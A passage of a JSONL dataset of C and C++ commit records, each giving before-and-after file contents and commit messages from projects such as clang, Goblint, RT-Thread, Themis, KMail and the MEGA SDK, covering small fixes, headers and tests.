file that SVN somehow missed.\n\nsvn path=\/trunk\/KDE\/kdepimlibs\/; revision=711804\n","lang":"C","license":"lgpl-2.1","repos":"KDE\/kblog,KDE\/kblog"}
{"commit":"061ced8ae25bc5dad4d1179a7f9cd258ebb05ed3","old_file":"2015-2016\/B\/10\/02\/task5.c","new_file":"2015-2016\/B\/10\/02\/task5.c","old_contents":"","new_contents":"#include <stdio.h>\n\nvoid increase_coordinates();\n\ntypedef struct {\n\n\tint x;\n\tint y;\n\tint z;\n\n} Point;\n\nPoint pt;\n\nint main () {\n\n\tprintf(\"x = \");scanf(\"%d\",&pt.x);\n\tprintf(\"y = \");scanf(\"%d\",&pt.y);\n\tprintf(\"z = \");scanf(\"%d\",&pt.z);\n\n\tincrease_coordinates();\n\n\tprintf(\"\\nx = %d\", pt.x);\n\tprintf(\"\\ny = %d\", pt.y);\n\tprintf(\"\\nz = %d\", pt.z);\n\n\treturn 0;\n}\n\nvoid increase_coordinates () {\n\n\tpt.x = pt.x + 1;\n\tpt.y = pt.y + 1;\n\tpt.z = pt.z + 1;\n\t\n} \n","subject":"Add task with points for October","message":"Add task with points for October\n","lang":"C","license":"mit","repos":"AlexAndreev\/po-homework,VVurbanov\/po-homework,ivanmilevtues\/po-homework"}
{"commit":"d3437f42ec20df8e99fdb6ff84bea6b64a3824b5","old_file":"tests\/regression\/01-cpa\/10-posneg.c","new_file":"tests\/regression\/01-cpa\/10-posneg.c","old_contents":"\/\/PARAM: --enable ana.int.wrap_on_signed_overflow\n#include<stdio.h>\n#include<assert.h>\n\nint main() {\n  int i,k,j;\n\n  if (k == 5) {\n    assert(k == 5);\n    return 0;\n  }\n  assert(k != 5);\n\n  \/\/ simple arithmetic\n  i = k + 1;\n  assert(i != 6);\n  i = k - 1;\n  assert(i != 4);\n  i = k * 3;       \/\/ multiplication with odd numbers is injective\n  assert(i != 15);\n  i = k * 2;       \/\/ multiplication with even numbers is not injective\n  assert(i != 10); \/\/ UNKNOWN! k could be -2147483643;\n  i = k \/ 2;\n  assert(i != 2); \/\/ UNKNOWN! k could be 4\n\n  return 0;\n}\n","new_contents":"\/\/PARAM: --enable ana.int.wrap_on_signed_overflow\n\/\/ Enabling ana.int.wrap_on_signed_overflow here, to retain precision for cases when a signed overflow might occcur\n#include<stdio.h>\n#include<assert.h>\n\nint main() {\n  int i,k,j;\n\n  if (k == 5) {\n    assert(k == 5);\n    return 0;\n  }\n  assert(k != 5);\n\n  \/\/ Signed overflows might occur in some of the following operations (e.g. the first assignment k could be MAX_INT).\n  \/\/ Signed overflows are undefined behavior, so by default we go to top when they might occur.\n  \/\/ Here we activated wrap_on_signed_overflow, so we retain precision, assuming that signed overflows are defined (via the usual two's complement representation).\n\n  \/\/ simple arithmetic\n  i = k + 1;\n  assert(i != 6);\n  i = k - 1;\n  assert(i != 4);\n  i = k * 3;       \/\/ multiplication with odd numbers is injective\n  assert(i != 15);\n  i = k * 2;       \/\/ multiplication with even numbers is not injective\n  assert(i != 10); \/\/ UNKNOWN! k could be -2147483643;\n  i = k \/ 2;\n  assert(i != 2); \/\/ UNKNOWN! k could be 4\n\n  return 0;\n}\n","subject":"Add comment on why ana.int.wrap_on_signed_overflow needs to enabled for test case","message":"Add comment on why ana.int.wrap_on_signed_overflow needs to enabled for test case\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"f20b64d03463cbd35bcacea1d80848b19d15ea6a","old_file":"KVODelegate\/KVODelegate.h","new_file":"KVODelegate\/KVODelegate.h","old_contents":"\/\/\n\/\/  KVODelegate.h\n\/\/  KVODelegate\n\/\/\n\/\/  Created by Ian Gregory on 15-03-2017.\n\/\/  Copyright © 2017 ThatsJustCheesy. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import <KVODelegate\/KVOObservationDelegate.h>\n#import <KVODelegate\/KVONotificationDelegate.h>\n","new_contents":"\/\/\n\/\/  KVODelegate.h\n\/\/  KVODelegate\n\/\/\n\/\/  Created by Ian Gregory on 15-03-2017.\n\/\/  Copyright © 2017 ThatsJustCheesy. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#import \"KVOObservationDelegate.h\"\n#import \"KVONotificationDelegate.h\"\n","subject":"Use quoted includes in umbrella header","message":"Use quoted includes in umbrella header\n","lang":"C","license":"mit","repos":"ThatsJustCheesy\/KVODelegate,ThatsJustCheesy\/KVODelegate"}
{"commit":"9f6244e43e007f27ccf02d8e4ebcdf12d182a39b","old_file":"src\/meat\/math\/abBlood.c","new_file":"src\/meat\/math\/abBlood.c","old_contents":"#include <math.h>\n#include \"abBlood.h\"\n\nvoid updateAB(simBac *sim)\n{\n    sim->c_b = sim->c_b_peak * \\\n        exp( -1 * sim->param.k_a * \\\n        ( sim->t - sim->param.doses_t[sim->dose_num-1] ) \\\n        \/ sim->param.v_w );\n        \/\/ Exponential decay from last time spike\n        \/\/ ( 1.0 - sim->param.t_s * sim->param.gam_ab ) * sim->c_b;\n        \/\/ Exponential decay according to renal clearance rate\n    \n    if (sim->c_b < 0) \/\/ set 0 as min concentration\n    {\n        sim->c_b = 0;\n    }\n    \n    if (sim->dose_num < sim->param.num_doses) \/\/ if under total number of doses\n    {\n        if (sim->t >= sim->param.doses_t[sim->dose_num]) \n            \/\/ If we're at the next dosing time...\n        {\n            sim->c_b += sim->param.doses_c[sim->dose_num]; \n                \/\/ Add concentration of next dose to blood       \n            ++sim->dose_num; \/\/ Advance dose counter\n            sim->c_b_peak = sim->c_b; \/\/ set new peak concentration\n        }\n    }\n}\n","new_contents":"#include <math.h>\n#include \"abBlood.h\"\n\nvoid updateAB(simBac *sim)\n{\n    sim->c_b = sim->c_b_peak * \\\n        exp( -1 * sim->param.k_a * \\\n        ( sim->t - sim->param.doses_t[sim->dose_num-1] ) \\\n        \/ sim->param.v_w );\n        \/\/ Exponential decay from last time spike\n        \/\/ ( 1.0 - sim->param.t_s * sim->param.gam_ab ) * sim->c_b;\n        \/\/ Exponential decay according to renal clearance rate\n    \n    if (sim->c_b < sim->param.c_c \/ 2) \/\/ set half of c_c as min concentration\n    {\n        sim->c_b = sim->param.c_c \/ 2;\n    }\n    \n    if (sim->dose_num < sim->param.num_doses) \/\/ if under total number of doses\n    {\n        if (sim->t >= sim->param.doses_t[sim->dose_num]) \n            \/\/ If we're at the next dosing time...\n        {\n            sim->c_b += sim->param.doses_c[sim->dose_num]; \n                \/\/ Add concentration of next dose to blood       \n            ++sim->dose_num; \/\/ Advance dose counter\n            sim->c_b_peak = sim->c_b; \/\/ set new peak concentration\n        }\n    }\n}\n","subject":"Add antibiotic concentration artificial minimum floor","message":"Add antibiotic concentration artificial minimum floor\n","lang":"C","license":"mit","repos":"bacteriaboyz\/CheatingTheCheaters,bacteriaboyz\/CheatingTheCheaters,bacteriaboyz\/CheatingTheCheaters,bacteriaboyz\/CheatingTheCheaters"}
{"commit":"4f5125e0b0ec6b3ddef8fa967b30ced19759fafa","old_file":"drivers\/spmi\/spmi-dbgfs.h","new_file":"drivers\/spmi\/spmi-dbgfs.h","old_contents":"\/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved.\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 and\n * only version 2 as published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\/\n#ifndef _SPMI_DBGFS_H\n#define _SPMI_DBGFS_H\n\n#include <linux\/debugfs.h>\n\n#ifdef CONFIG_DEBUG_FS\nint spmi_dfs_add_controller(struct spmi_controller *ctrl);\nint spmi_dfs_del_controller(struct spmi_controller *ctrl);\n#else\nstatic inline int spmi_dfs_add_controller(struct spmi_controller *ctrl)\n{\n\treturn 0;\n}\nstatic inline int spmi_dfs_del_controller(struct spmi_controller *ctrl)\n{\n\treturn 0;\n}\n#endif\n\nstruct dentry *spmi_dfs_create_file(struct spmi_controller *ctrl,\n\t\t\t\t\tconst char *name, void *data,\n\t\t\t\t\tconst struct file_operations *fops);\n\n#endif \/* _SPMI_DBGFS_H *\/\n","new_contents":"\/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved.\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 and\n * only version 2 as published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\/\n#ifndef _SPMI_DBGFS_H\n#define _SPMI_DBGFS_H\n\n#include <linux\/debugfs.h>\n\n#ifdef CONFIG_DEBUG_FS\nint spmi_dfs_add_controller(struct spmi_controller *ctrl);\nint spmi_dfs_del_controller(struct spmi_controller *ctrl);\nstruct dentry *spmi_dfs_create_file(struct spmi_controller *ctrl,\n\t\t\t\t\tconst char *name, void *data,\n\t\t\t\t\tconst struct file_operations *fops);\n#else\nstatic inline int spmi_dfs_add_controller(struct spmi_controller *ctrl)\n{\n\treturn 0;\n}\nstatic inline int spmi_dfs_del_controller(struct spmi_controller *ctrl)\n{\n\treturn 0;\n}\n\nstatic inline struct dentry *spmi_dfs_create_file(struct spmi_controller *ctrl,\n\t\t\t\t\tconst char *name, void *data,\n\t\t\t\t\tconst struct file_operations *fops)\n{\n\treturn 0;\n}\n#endif\n\n#endif \/* _SPMI_DBGFS_H *\/\n","subject":"Fix compilation error when debugfs is disabled","message":"spmi: Fix compilation error when debugfs is disabled\n\nCode does not compile with debugfs disabled. Fix this.\n\nChange-Id: I11fa09401f29e9f2fb65d19668cae455253f6355\nSigned-off-by: Olav Haugan <fbf4ddd114d5f0aa83cb721b7dacab8a264ccf22@codeaurora.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"56bddeda24adcb927dd5ceafd75f84ebc2eb4203","old_file":"test\/Sema\/static-init.c","new_file":"test\/Sema\/static-init.c","old_contents":"\/\/ RUN: %clang_cc1 -triple i386-pc-linux-gnu -fsyntax-only -verify %s\n\n#include <stdint.h>\n\nstatic int f = 10;\nstatic int b = f; \/\/ expected-error {{initializer element is not a compile-time constant}}\n\nfloat r  = (float) (intptr_t) &r; \/\/ expected-error {{initializer element is not a compile-time constant}}\nintptr_t s = (intptr_t) &s;\n_Bool t = &t;\n\n\nunion bar {\n  int i;\n};\n\nstruct foo {\n  unsigned ptr;\n};\n\nunion bar u[1];\nstruct foo x = {(intptr_t) u}; \/\/ no-error\nstruct foo y = {(char) u}; \/\/ expected-error {{initializer element is not a compile-time constant}}\n","new_contents":"\/\/ RUN: %clang_cc1 -fsyntax-only -verify %s\n\ntypedef __typeof((int*) 0 - (int*) 0) intptr_t;\n\nstatic int f = 10;\nstatic int b = f; \/\/ expected-error {{initializer element is not a compile-time constant}}\n\nfloat r  = (float) (intptr_t) &r; \/\/ expected-error {{initializer element is not a compile-time constant}}\nintptr_t s = (intptr_t) &s;\n_Bool t = &t;\n\n\nunion bar {\n  int i;\n};\n\nstruct foo {\n  unsigned ptr;\n};\n\nunion bar u[1];\nstruct foo x = {(intptr_t) u}; \/\/ no-error\nstruct foo y = {(char) u}; \/\/ expected-error {{initializer element is not a compile-time constant}}\n","subject":"Fix test to not force triple, and also to not need stdint.h.","message":"Fix test to not force triple, and also to not need stdint.h.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@96499 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"b51602b1db901e46fd1fec4d76c669b31a538079","old_file":"components\/libc\/compilers\/common\/nogcc\/sys\/types.h","new_file":"components\/libc\/compilers\/common\/nogcc\/sys\/types.h","old_contents":"\/*\n * Copyright (c) 2006-2021, RT-Thread Development Team\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n * Change Logs:\n * Date           Author       Notes\n * 2020-09-05     Meco Man     fix bugs\n * 2020-12-16     Meco Man     add useconds_t\n *\/\n#ifndef __SYS_TYPES_H__\n#define __SYS_TYPES_H__\n\n#include <stdint.h>\n#include <stddef.h>\n#include <time.h>\n\ntypedef int32_t          clockid_t;\ntypedef int32_t          key_t;         \/* Used for interprocess communication. *\/\ntypedef int              pid_t;         \/* Used for process IDs and process group IDs. *\/\ntypedef unsigned short   uid_t;\ntypedef unsigned short   gid_t;\ntypedef signed long      off_t;\ntypedef int              mode_t;\n#ifndef ARCH_CPU_64BIT\ntypedef signed int       ssize_t;       \/* Used for a count of bytes or an error indication. *\/\n#else\ntypedef long signed int  ssize_t;       \/* Used for a count of bytes or an error indication. *\/\n#endif\ntypedef long             suseconds_t;   \/* microseconds. *\/\ntypedef unsigned long    useconds_t;    \/* microseconds (unsigned) *\/\n\ntypedef unsigned long    dev_t;\n\ntypedef unsigned int     u_int;\ntypedef unsigned char    u_char;\ntypedef unsigned long    u_long;\n\n#endif","new_contents":"\/*\n * Copyright (c) 2006-2021, RT-Thread Development Team\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n * Change Logs:\n * Date           Author       Notes\n * 2020-09-05     Meco Man     fix bugs\n * 2020-12-16     Meco Man     add useconds_t\n *\/\n#ifndef __SYS_TYPES_H__\n#define __SYS_TYPES_H__\n\n#include <stdint.h>\n#include <stddef.h>\n#include <time.h>\n\ntypedef int32_t          clockid_t;\ntypedef int32_t          key_t;         \/* Used for interprocess communication. *\/\ntypedef int              pid_t;         \/* Used for process IDs and process group IDs. *\/\ntypedef unsigned short   uid_t;\ntypedef unsigned short   gid_t;\ntypedef signed long      off_t;\ntypedef int              mode_t;\n#ifndef ARCH_CPU_64BIT\ntypedef signed int       ssize_t;       \/* Used for a count of bytes or an error indication. *\/\n#else\ntypedef long signed int  ssize_t;       \/* Used for a count of bytes or an error indication. *\/\n#endif\ntypedef long             suseconds_t;   \/* microseconds. *\/\ntypedef unsigned long    useconds_t;    \/* microseconds (unsigned) *\/\n\ntypedef unsigned long    dev_t;\n\ntypedef unsigned int     u_int;\ntypedef unsigned char    u_char;\ntypedef unsigned long    u_long;\n\n#endif\n","subject":"Add a blank line at the end","message":"[update] Add a blank line at the end\n","lang":"C","license":"apache-2.0","repos":"nongxiaoming\/rt-thread,RT-Thread\/rt-thread,geniusgogo\/rt-thread,RT-Thread\/rt-thread,hezlog\/rt-thread,geniusgogo\/rt-thread,nongxiaoming\/rt-thread,hezlog\/rt-thread,RT-Thread\/rt-thread,RT-Thread\/rt-thread,nongxiaoming\/rt-thread,geniusgogo\/rt-thread,nongxiaoming\/rt-thread,RT-Thread\/rt-thread,hezlog\/rt-thread,nongxiaoming\/rt-thread,geniusgogo\/rt-thread,hezlog\/rt-thread,hezlog\/rt-thread,geniusgogo\/rt-thread,geniusgogo\/rt-thread,nongxiaoming\/rt-thread,hezlog\/rt-thread,nongxiaoming\/rt-thread,RT-Thread\/rt-thread,hezlog\/rt-thread,RT-Thread\/rt-thread,geniusgogo\/rt-thread"}
{"commit":"aa075fd45fabc26875fb3ac5c34cce70fe3a7030","old_file":"LargeBarrelAnalysis\/EventCategorizerTools.h","new_file":"LargeBarrelAnalysis\/EventCategorizerTools.h","old_contents":"\/**\n *  @copyright Copyright 2017 The J-PET Framework Authors. All rights reserved.\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may find a copy of the License in the LICENCE file.\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  @file EventCategorizerTools.h\n *\/\n\n#ifndef _EVENTCATEGORIZERTOOLS_H_\n#define _EVENTCATEGORIZERTOOLS_H_\n\n#include <DataObjects\/JPetHit\/JPetHit.h>\n\nstruct Point3D\n{\n  double x=0;\n  double y=0;\n  double z=0;\n};\n\n\nclass EventCategorizerTools\n{\npublic:\n    static double calculateTOF(const JPetHit& firstHit, const JPetHit& latterHit);\n    static Point3D calculateAnnihilationPoint(const JPetHit& firstHit, const JPetHit& latterHit);\n};\n\n#endif \/*  !EVENTCATEGORIZERTOOLS_H *\/\n","new_contents":"\/**\n *  @copyright Copyright 2017 The J-PET Framework Authors. All rights reserved.\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may find a copy of the License in the LICENCE file.\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  @file EventCategorizerTools.h\n *\/\n\n#ifndef _EVENTCATEGORIZERTOOLS_H_\n#define _EVENTCATEGORIZERTOOLS_H_\n\n#include <JPetHit\/JPetHit.h>\n\nstruct Point3D\n{\n  double x=0;\n  double y=0;\n  double z=0;\n};\n\n\nclass EventCategorizerTools\n{\npublic:\n    static double calculateTOF(const JPetHit& firstHit, const JPetHit& latterHit);\n    static Point3D calculateAnnihilationPoint(const JPetHit& firstHit, const JPetHit& latterHit);\n};\n\n#endif \/*  !EVENTCATEGORIZERTOOLS_H *\/\n","subject":"Change include to proper one","message":"Change include to proper one\n","lang":"C","license":"apache-2.0","repos":"JPETTomography\/j-pet-framework-examples,JPETTomography\/j-pet-framework-examples,JPETTomography\/j-pet-framework-examples,JPETTomography\/j-pet-framework-examples"}
{"commit":"b657af02c49fa95c889454f82609ed2a7672949a","old_file":"kmail\/kmversion.h","new_file":"kmail\/kmversion.h","old_contents":"\/\/ KMail Version Information\n\/\/\n#ifndef kmversion_h\n#define kmversion_h\n\n#define KMAIL_VERSION \"1.9.9\"\n\n#endif \/*kmversion_h*\/\n","new_contents":"\/\/ KMail Version Information\n\/\/\n#ifndef kmversion_h\n#define kmversion_h\n\n#define KMAIL_VERSION \"1.9.10\"\n\n#endif \/*kmversion_h*\/\n","subject":"Increase version number for KDE 3.5.10.","message":"Increase version number for KDE 3.5.10.\n\nsvn path=\/branches\/KDE\/3.5\/kdepim\/; revision=846406\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"bbdf0450f0c99355a84db41a35d78f37a4879e16","old_file":"include\/program_options\/item.h","new_file":"include\/program_options\/item.h","old_contents":"\/*\n* parser item\n* (c) Copyright 2015 Micooz\n*\n* Released under the Apache License.\n* See the LICENSE file or\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt for more information.\n*\/\n#ifndef PARSER_ITEM_H_\n#define PARSER_ITEM_H_\n\n#include <sstream>\n\nnamespace program_options {\n\nclass ParseItem {\n public:\n  ParseItem(const std::string& value);\n\n  \/*\n   * dynamic type cast, support base data types including std::string\n   *\/\n  template <typename T>\n  T as() {\n    T r;\n    std::stringstream buf;\n    buf << value_;\n    buf >> r;\n    return r;\n  }\n\n  \/*\n   * alias of as<std::string>()\n   *\/\n  inline std::string val() const { return value_; }\n\n private:\n  std::string value_;\n};\n}\n\n#endif  \/\/ PARSER_ITEM_H_","new_contents":"\/*\n* parser item\n* (c) Copyright 2015 Micooz\n*\n* Released under the Apache License.\n* See the LICENSE file or\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt for more information.\n*\/\n#ifndef PARSER_ITEM_H_\n#define PARSER_ITEM_H_\n\n#include <sstream>\n\nnamespace program_options {\n\nclass ParseItem {\n public:\n  ParseItem(const std::string& value);\n\n  \/*\n   * dynamic type cast, support base data types including std::string\n   *\/\n  template<typename T>\n  T as() {\n    T r;\n    std::stringstream buf;\n    buf << value_;\n    buf >> r;\n    return r;\n  }\n\n  \/*\n   * alias of as<std::string>()\n   *\/\n  inline std::string val() const { return value_; }\n\n  \/*\n   * returns c-style string, will be useful if you want a const char*\n   *\/\n  inline const char* c_str() const { return value_.c_str(); }\n\n private:\n  std::string value_;\n};\n}\n\n#endif  \/\/ PARSER_ITEM_H_","subject":"Add a function of ParseItem which returns a c-style string directly.","message":"Add a function of ParseItem which returns a c-style string directly.\n","lang":"C","license":"apache-2.0","repos":"Micooz\/program_options,Micooz\/program_options,Micooz\/program_options,Micooz\/program_options"}
{"commit":"49546b6634d2ab100761e27f76a824909fcf89dc","old_file":"src\/themis\/secure_record.h","new_file":"src\/themis\/secure_record.h","old_contents":"","new_contents":"\/**\n * @file\n *\n * (c) CossackLabs\n *\/\n\n#ifndef _SECURE_RECORD_H_\n#define _SECURE_RECORD_H_\n\ntypedef struct themis_secure_record_type themis_secure_record_t;\n\nthemis_secure_record_t* themis_secure_record_create(const uint8_t* master_key, const size_t master_key_length);\n\nthemis_status_t themis_secure_record_encrypt_1(themis_secure_record_t* ctx,\n\t\t\t\t\t       const uint8_t* message,\n\t\t\t\t\t       const size_t message_length,\n\t\t\t\t\t       uint8_t* encrypted_message,\n\t\t\t\t\t       size_t* encrypted_message_length);\n\nthemis_status_t themis_secure_record_decrypt_1(themis_secure_record_t* ctx,\n\t\t\t\t\t       const uint8_t* encrypted_message,\n\t\t\t\t\t       const size_t encrypted_message_length,\n\t\t\t\t\t       uint8_t* plain_message,\n\t\t\t\t\t       size_t* plain_message_length);\n\nthemis_status_t themis_secure_record_encrypt_2(themis_secure_record_t* ctx,\n\t\t\t\t\t       const uint8_t* message,\n\t\t\t\t\t       const size_t message_length,\n\t\t\t\t\t       uint8_t* auth_tag_iv,\n\t\t\t\t\t       size_t* auth_tag_iv_length,\n\t\t\t\t\t       uint8_t* encrypted_message,\n\t\t\t\t\t       size_t* encrypted_message_length);\n\nthemis_status_t themis_secure_record_decrypt_2(themis_secure_record_t* ctx,\n\t\t\t\t\t       const uint8_t* encrypted_message,\n\t\t\t\t\t       const size_t encrypted_message_length,\n\t\t\t\t\t       const uint8_t* auth_tag_iv,\n\t\t\t\t\t       const size_t auth_tag_iv_length,\n\t\t\t\t\t       uint8_t* plain_message,\n\t\t\t\t\t       size_t* plain_message_length);\n\nthemis_status_t themis_secure_record_encrypt_3(themis_secure_record_t* ctx,\n\t\t\t\t\t       const uint8_t* message,\n\t\t\t\t\t       const size_t message_length,\n\t\t\t\t\t       const uint8_t* auth_tag_iv,\n\t\t\t\t\t       const size_t auth_tag_iv_length,\n\t\t\t\t\t       uint8_t* encrypted_message,\n\t\t\t\t\t       size_t* encrypted_message_length);\n\nthemis_status_t themis_secure_record_decrypt_3(themis_secure_record_t* ctx,\n\t\t\t\t\t       const uint8_t* encrypted_message,\n\t\t\t\t\t       const size_t encrypted_message_length,\n\t\t\t\t\t       const uint8_t* auth_tag_iv,\n\t\t\t\t\t       const size_t auth_tag_iv_length,\n\t\t\t\t\t       uint8_t* plain_message,\n\t\t\t\t\t       size_t* plain_message_length);\n\nthemis_status_t themis_secure_record_destroy(themis_secure_record_t* ctx);\n\n\n#endif \/* _SECURE_RECORD_H_ *\/\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","subject":"Add THEMIS Secure Record interface","message":"Add THEMIS Secure Record interface\n","lang":"C","license":"apache-2.0","repos":"cossacklabs\/themis,cossacklabs\/themis,Lagovas\/themis,storojs72\/themis,Lagovas\/themis,cossacklabs\/themis,cossacklabs\/themis,Lagovas\/themis,storojs72\/themis,cossacklabs\/themis,storojs72\/themis,cossacklabs\/themis,Lagovas\/themis,mnaza\/themis,cossacklabs\/themis,cossacklabs\/themis,mnaza\/themis,mnaza\/themis,Lagovas\/themis,storojs72\/themis,storojs72\/themis,mnaza\/themis,Lagovas\/themis,Lagovas\/themis,storojs72\/themis,storojs72\/themis,cossacklabs\/themis,mnaza\/themis,mnaza\/themis,storojs72\/themis,cossacklabs\/themis,storojs72\/themis,Lagovas\/themis,mnaza\/themis,cossacklabs\/themis,Lagovas\/themis,mnaza\/themis,storojs72\/themis,cossacklabs\/themis,cossacklabs\/themis,mnaza\/themis"}
{"commit":"2a1b1a4cc8a1da74d35401adc5713f63ff93f5b6","old_file":"bindings\/ios\/Private\/MEGAHandleList+init.h","new_file":"bindings\/ios\/Private\/MEGAHandleList+init.h","old_contents":"\/**\n * @file MEGAHandleList+init\n * @brief Private functions of MEGAHandleList\n *\n * (c) 2013-2017 by Mega Limited, Auckland, New Zealand\n *\n * This file is part of the MEGA SDK - Client Access Engine.\n *\n * Applications using the MEGA API must present a valid application key\n * and comply with the the rules set forth in the Terms of Service.\n *\n * The MEGA SDK is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n *\n * @copyright Simplified (2-clause) BSD License.\n *\n * You should have received a copy of the license along with this\n * program.\n *\/\n\n#import \"MEGAHandleList.h\"\n#import \"megaapi.h\"\n\n@interface MEGAHandleList (init)\n\n- (mega::MegaHandleList *)getCPtr;\n\n@end\n","new_contents":"\/**\n * @file MEGAHandleList+init\n * @brief Private functions of MEGAHandleList\n *\n * (c) 2013-2017 by Mega Limited, Auckland, New Zealand\n *\n * This file is part of the MEGA SDK - Client Access Engine.\n *\n * Applications using the MEGA API must present a valid application key\n * and comply with the the rules set forth in the Terms of Service.\n *\n * The MEGA SDK is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n *\n * @copyright Simplified (2-clause) BSD License.\n *\n * You should have received a copy of the license along with this\n * program.\n *\/\n\n#import \"MEGAHandleList.h\"\n#import \"megaapi.h\"\n\n@interface MEGAHandleList (init)\n\n- (instancetype)initWithMegaHandleList:(mega::MegaHandleList *)megaHandleList cMemoryOwn:(BOOL)cMemoryOwn;\n- (mega::MegaHandleList *)getCPtr;\n\n@end\n","subject":"Add the ctor for MEGAHandleList (Obj-C)","message":"Add the ctor for MEGAHandleList (Obj-C)\n","lang":"C","license":"bsd-2-clause","repos":"Acidburn0zzz\/sdk,meganz\/sdk,Acidburn0zzz\/sdk,meganz\/sdk,meganz\/sdk,Acidburn0zzz\/sdk,Acidburn0zzz\/sdk,Acidburn0zzz\/sdk,Acidburn0zzz\/sdk,meganz\/sdk,Acidburn0zzz\/sdk,meganz\/sdk,meganz\/sdk,meganz\/sdk,Acidburn0zzz\/sdk"}
{"commit":"74a1e19dc9d9b5f1e4275745a384f594922c4ac9","old_file":"test\/Driver\/aarch64-ssbs.c","new_file":"test\/Driver\/aarch64-ssbs.c","old_contents":"","new_contents":"\/\/ RUN: %clang -### -target aarch64-none-none-eabi -march=armv8a+ssbs   %s 2>&1 | FileCheck %s\n\/\/ CHECK: \"-target-feature\" \"+ssbs\"\n\n\/\/ RUN: %clang -### -target aarch64-none-none-eabi -march=armv8a+nossbs %s 2>&1 | FileCheck %s --check-prefix=NOSSBS\n\/\/ NOSSBS: \"-target-feature\" \"-ssbs\"\n\n\/\/ RUN: %clang -### -target aarch64-none-none-eabi                      %s 2>&1 | FileCheck %s --check-prefix=ABSENTSSBS\n\/\/ ABSENTSSBS-NOT: \"-target-feature\" \"+ssbs\"\n\/\/ ABSENTSSBS-NOT: \"-target-feature\" \"-ssbs\"\n","subject":"Add command-line option for SSBS","message":"[AArch64] Add command-line option for SSBS\n\nSummary:\nSSBS (Speculative Store Bypass Safe) is only mandatory from 8.5\nonwards but is optional from Armv8.0-A. This patch adds testing for\nthe ssbs command line option, added to allow enabling the feature\nin previous Armv8-A architectures to 8.5.\n\nReviewers: olista01, samparker, aemerson\n\nReviewed By: samparker\n\nSubscribers: javed.absar, kristof.beyls, cfe-commits\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D54961\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@348142 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
